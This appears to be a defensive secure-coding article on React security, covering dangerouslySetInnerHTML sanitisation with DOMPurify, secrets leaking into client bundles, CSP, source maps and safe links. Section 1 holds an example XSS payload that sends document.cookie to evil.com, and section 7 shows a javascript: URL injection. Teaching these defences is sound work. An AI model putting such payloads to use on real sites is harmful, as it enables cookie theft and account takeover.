React Security Best Practices: XSS, Secrets, and Dependency Safety
React apps face unique security challenges — from dangerouslySetInnerHTML misuse to accidental secret leakage in bundles. This guide covers every major React security risk with practical fixes.
React's declarative rendering model provides built-in XSS protection for the common case, but the moment you step outside React's controlled rendering — or let secrets slip into your bundle — the attack surface expands quickly. Frontend security is frequently deprioritized because it feels less dangerous than server vulnerabilities, but client-side flaws lead to data theft, account takeover, and reputational damage just as often.
This guide covers every significant React security concern with actionable mitigations.
1. The dangerouslySetInnerHTML Risk
React's name for this prop is intentional: dangerouslySetInnerHTML bypasses React's escaping and injects raw HTML directly into the DOM. If that HTML contains any attacker-controlled content, you have a stored or reflected XSS vulnerability.
// DANGEROUS
function Comment({ content }: { content: string }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
// If content = '<img src=x onerror="fetch(`https://evil.com/?c=${document.cookie}`)">'
// The attacker exfiltrates the user's cookies.
When You Actually Need It
Sometimes you have legitimate HTML — a rich-text editor output, a CMS field with formatted content. In those cases, sanitize with DOMPurify before rendering:
npm install dompurify
npm install --save-dev @types/dompurify
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const sanitized = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
FORBID_TAGS: ['script', 'object', 'embed', 'form'],
FORBID_ATTR: ['onerror', 'onload', 'onclick'],
});
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
For server-side rendering (Next.js), use isomorphic-dompurify instead, which works in both Node.js and browser environments.
The Default Is Safe — Don't Work Around It
// Safe — React escapes this automatically
function Comment({ content }: { content: string }) {
return <div>{content}</div>;
}
React converts <, >, &, ", and ' to their HTML entity equivalents in JSX expressions. This is why you almost never need dangerouslySetInnerHTML. If you find yourself reaching for it, first ask whether you can restructure to use standard JSX.
2. Avoiding Secret Leakage in Bundles
This is one of the most common and costly React security mistakes. When you use Create React App, Vite, or Next.js, environment variables prefixed with REACT_APP_, VITE_, or NEXT_PUBLIC_ are embedded into your JavaScript bundle and sent to every client.
# .env
REACT_APP_API_KEY=sk_live_abc123 # ⚠ Every user who visits your site gets this
VITE_STRIPE_SECRET=sk_live_xyz789 # ⚠ Same problem
NEXT_PUBLIC_OPENAI_KEY=sk-... # ⚠ Catastrophically wrong
Anyone can open DevTools, search the bundle, and extract these values.
The Right Pattern
Secret API calls belong on the server. Your React app should only hold public keys — things you would put on a business card.
// In a Next.js API route or server action:
// app/api/ai/route.ts
export async function POST(request: Request) {
const { prompt } = await request.json();
const response = await fetch('https://api.openai.com/v1/chat/completions', {
method: 'POST',
headers: {
Authorization: `Bearer ${process.env.OPENAI_KEY}`, // Server-only — not in bundle
'Content-Type': 'application/json',
},
body: JSON.stringify({ model: 'gpt-4o', messages: [{ role: 'user', content: prompt }] }),
});
return Response.json(await response.json());
}
// React component calls your API, not OpenAI directly
async function generateText(prompt: string) {
const res = await fetch('/api/ai', {
method: 'POST',
body: JSON.stringify({ prompt }),
});
return res.json();
}
In Next.js, use the server-only package to hard-fail at build time if a server-only module is accidentally imported into a client component:
// lib/openai.ts
import 'server-only';
export const openai = new OpenAI({ apiKey: process.env.OPENAI_KEY });
Auditing Your Bundle
Periodically inspect what made it into your production build:
# Search the Next.js build output for secrets
grep -r "sk_live" .next/static/
grep -r "sk-" .next/static/
# For CRA or Vite builds
grep -r "sk_live" build/static/
Consider adding a CI step that runs these checks before deployment.
3. Dependency Scanning
Your React app includes dozens or hundreds of npm packages. Any one of them can introduce vulnerabilities.
# Check for known vulnerabilities
npm audit
# Fail CI on high-severity issues
npm audit --audit-level=high
Set up automated dependency updates:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
For deeper analysis, tools like Snyk or Socket.dev scan transitive dependencies and even detect suspicious package behaviors (like a package that was recently transferred to a new maintainer and immediately started exfiltrating data — a supply chain attack pattern).
4. Content Security Policy with React
A Content Security Policy (CSP) limits which scripts, styles, and resources the browser will load, providing a second line of defense if XSS does occur.
For React SPAs, the challenge is that inline scripts and styles are common. The best approach is to use nonces — a random value generated per request that authorizes specific inline scripts.
// next.config.ts (Next.js)
import { NextConfig } from 'next';
import crypto from 'crypto';
const nextConfig: NextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'nonce-NONCE_PLACEHOLDER'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"object-src 'none'",
"base-uri 'self'",
"frame-ancestors 'none'",
].join('; '),
},
],
},
];
},
};
export default nextConfig;
For Create React App or Vite, set the CSP via your server or CDN (Vercel, Netlify, or nginx).
5. Source Map Exposure
React build tools generate source maps (.map files) to help with debugging. If these are deployed to production with your app, attackers can read your original, unminified source code — including comments, variable names, and sometimes hardcoded values.
# Check if source maps are publicly accessible
curl -I https://yourapp.com/static/js/main.abc123.js.map
For Create React App:
# Disable source maps in production
GENERATE_SOURCEMAP=false npm run build
For Vite:
// vite.config.ts
export default defineConfig({
build: {
sourcemap: false, // or 'hidden' to generate but not serve them
},
});
For Next.js:
// next.config.ts
const nextConfig = {
productionBrowserSourceMaps: false, // default is false
};
If you need source maps for error tracking (Sentry, etc.), use "hidden" source maps: generate them but upload to your error tracker and do not serve them publicly.
6. Iframe Security
If your React app embeds iframes from third parties, or if your app is embedded by others, configure these headers:
// Prevent your app from being embedded in iframes (clickjacking defense)
// next.config.ts
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'Content-Security-Policy', value: "frame-ancestors 'none'" },
]
When embedding third-party iframes in your app, use the sandbox attribute to restrict what the iframe can do:
function ThirdPartyWidget({ src }: { src: string }) {
return (
<iframe
src={src}
sandbox="allow-scripts allow-same-origin"
// Omit allow-forms, allow-popups, allow-top-navigation unless required
referrerPolicy="no-referrer"
loading="lazy"
/>
);
}
7. Secure Links and Navigation
// DANGEROUS — javascript: URLs execute in the page context
function UserLink({ url }: { url: string }) {
return <a href={url}>Visit</a>; // attacker sends: javascript:fetch(...)
}
// Safe — validate the URL protocol
function SafeLink({ url }: { url: string }) {
const safe = url.startsWith('https://') || url.startsWith('http://');
if (!safe) return <span>Invalid link</span>;
return (
<a href={url} rel="noopener noreferrer" target="_blank">
Visit
</a>
);
}
Always add rel="noopener noreferrer" to external links with target="_blank". Without noopener, the opened tab can access your page via window.opener.
8. React-Specific Security Linting
Add security-focused ESLint rules:
npm install --save-dev eslint-plugin-react eslint-plugin-security
{
"extends": [
"plugin:react/recommended",
"plugin:security/recommended"
],
"rules": {
"react/no-danger": "error",
"react/no-danger-with-children": "error"
}
}
The react/no-danger rule flags every use of dangerouslySetInnerHTML, forcing a conscious decision each time.
Summary
| Risk | Mitigation |
|---|---|
XSS via dangerouslySetInnerHTML | DOMPurify sanitization before render |
| Secret leakage in bundle | Server-side API calls; avoid NEXT_PUBLIC_/REACT_APP_ for secrets |
| Vulnerable dependencies | npm audit, Dependabot, Snyk |
| No CSP | Configure CSP headers with nonces |
| Source map exposure | Disable production source maps or use hidden maps |
| Clickjacking | X-Frame-Options: DENY + frame-ancestors 'none' |
| Open external links | rel="noopener noreferrer" on target="_blank" |
javascript: URL injection | Validate URL protocol before rendering in href |
React gives you a strong foundation, but it cannot protect you from architectural decisions — like calling secret APIs from the client, or rendering unescaped HTML. The most effective security stance is to treat every piece of user input as hostile and every secret as server-only.